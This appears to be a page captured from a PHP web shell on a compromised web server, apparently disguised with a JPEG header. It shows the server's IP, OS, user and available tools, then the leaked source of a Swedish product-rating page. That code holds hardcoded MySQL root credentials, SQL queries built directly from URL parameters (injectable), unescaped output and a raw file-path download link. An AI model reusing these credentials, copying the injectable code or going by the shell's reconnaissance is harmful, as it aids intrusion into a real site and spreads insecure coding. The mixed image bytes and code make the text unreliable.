????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.36 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.biminfo.se/portal/ |
Upload File : |
<?php
session_start();
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("biminfo");
if($_GET['betyg'] != "" && $_SESSION["ss".$_GET['id']] != $_GET['id']){
$sql = "SELECT * FROM tblContent where tblContent.id = ".$_GET['id'];
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$betyg = $row['betyg'];
$klick = $row['klick'];
}
$kl = $klick+1;
$score = ($_GET['betyg'] + $betyg*$klick)/($klick+1);
/*if($_GET['betyg'] < $betyg){
$score = ($_GET['betyg']/$klick 0 $betyg)/2;
}else{
}
*/
$sql = "update tblContent set betyg = $score, klick = $kl where tblContent.id = ".$_GET['id'];
$result = mysql_query($sql);
$_SESSION["ss".$_GET['id']] = $_GET['id'];
}
?>
<?php
$sql = "SELECT tblContent.id as id, model,thumb, path,size,color,tblType.type,tblCustomer.customer, linkid, cdesc, betyg FROM tblContent, tblType, tblCustomer where tblContent.ctype = tblType.id and tblContent.hide = 0 and tblContent.customerid = tblCustomer.customerid and tblContent.id = ".$_GET['id'];
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$id = $row['id'];
$model = $row['model'];
$thumb = $row['thumb'];
$path = $row['path'];
$size = $row['size'];
$color = $row['color'];
$type = $row['type'];
$customer = $row['customer'];
$linkid = $row['linkid'];
$desc = $row['cdesc'];
$betyg = $row['betyg'];
}
?>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_swapImgRestore() { //v3.0
var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}
function MM_preloadImages() { //v3.0
var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n); return x;
}
function MM_swapImage() { //v3.0
var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</script>
<style type="text/css">
<!--
.style1 {
font-size: 10px;
font-family: Verdana, Arial, Helvetica, sans-serif;
}
-->
</style>
<body onLoad="MM_preloadImages('images/1.gif','images/2.gif','images/3.gif','images/5.gif')">
<span class="style33"><?php echo($customer. " - " . $model);?></span><br>
<br>
</span>
<table width="665" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="130" height="124" valign="top"><img src="<?php echo($thumb);?>" width="100" height="100" border="1"><br>
<span class="style1">Betyg:
(<?php echo(round($betyg,1));?>) </span> <table width="100" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="20"><div align="left"><a href="?page=content&id=<?php echo($id);?>&betyg=1" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image3','','images/1.gif',1)"><img src="images/1<?php if($betyg < 1){echo("a");} ?>.gif" alt="1" name="Image3" width="15" height="15" border="<?php if($betyg < 1){echo("0");}else{echo("1");} ?>"></a></div></td>
<td width="20"><div align="center"><a href="?page=content&id=<?php echo($id);?>&betyg=2" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image4','','images/2.gif',1)"><img src="images/2<?php if($betyg < 2){echo("a");} ?>.gif" alt="2" name="Image4" width="15" height="15" border="<?php if($betyg < 2){echo("0");}else{echo("1");} ?>"></a></div></td>
<td width="20"><div align="center"><a href="?page=content&id=<?php echo($id);?>&betyg=3" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image5','','images/3.gif',1)"><img src="images/3<?php if($betyg < 3){echo("a");} ?>.gif" alt="3" name="Image5" width="15" height="15" border="<?php if($betyg < 3){echo("0");}else{echo("1");} ?>"></a></div></td>
<td width="20"><div align="center"><a href="?page=content&id=<?php echo($id);?>&betyg=4" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image6','','images/4.gif',0)"><img src="images/4<?php if($betyg < 4){echo("a");} ?>.gif" alt="4" name="Image6" width="15" height="15" border="<?php if($betyg < 4){echo("0");}else{echo("1");} ?>"></a></div></td>
<td width="20"><div align="right"><a href="?page=content&id=<?php echo($id);?>&betyg=5" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image7','','images/5.gif',1)"><img src="images/5<?php if($betyg < 5){echo("a");} ?>.gif" alt="5" name="Image7" width="15" height="15" border="<?php if($betyg < 5){echo("0");}else{echo("1");} ?>"></a></div></td>
</tr>
</table></td>
<td width="535" valign="top"><table width="507" border="0" align="right" cellpadding="0" cellspacing="0">
<tr>
<td><table width="392" border="0" cellspacing="0" cellpadding="0">
<tr class="style27">
<td width="110"><strong>Tillverkare:</strong></td>
<td width="282" height="20"><strong><?php echo($customer);?></strong></td>
</tr>
<tr class="style27">
<td>Namn:</td>
<td height="20"><?php echo($model);?></td>
</tr>
<?php if($size != 0){?>
<tr class="style27">
<td>Storlek:</td>
<td height="20"><?php echo($size);?></td>
</tr>
<tr class="style27">
<td>Färg:</td>
<td height="20"><?php echo($color);?></td>
</tr>
<?php }?>
<?php if($linkid != 0){?>
<tr class="style27">
<td>Produktinfo:</td>
<td height="20"><a href="http://www.biminfo.se/?productid=<?php echo($linkid);?>" target="_blank">http://www.biminfo.se/?productid=<?php echo($linkid);?></a></td>
</tr>
<?php }?>
<tr class="style27">
<td>Typ:</td>
<td height="20"><?php echo($type);?></td>
</tr>
</table>
<span class="style22"><br>
<br>
Beskrivning: </span>
<table width="399" border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="style27"><?php echo($desc);?></td>
</tr>
</table>
<br>
<span class="style27"> Nedladdningspris: 0 kr.</span> <br>
<span class="style22"><br>
</span>
<p> </p>
<p> </p></td>
<?php
$pos = strpos($path,"http");
if($pos === false){
$http = false;
}else{
$http = true;
}
$filename = strstr($path,'/');
$link = "download.php?id=$id&filename=$filename&path=$path";
?>
<td width="116" valign="top"><div align="center"><a href="<?php echo($link);?>" <?php if($http == true){echo("target='_blank'");}?>><img src="images/download_arrow.jpg" width="85" height="84" border="0"><br>
<span class="style28">Ladda ner <?php echo($type);?>-fil. </span></a><span class="style28"> </span></div></td>
</tr>
</table>
<p class="style22"><br>
<br>
<br>
<br>
<br>
<br>
</p></td>
</tr>
</table>
<hr size="1">
<p> </p>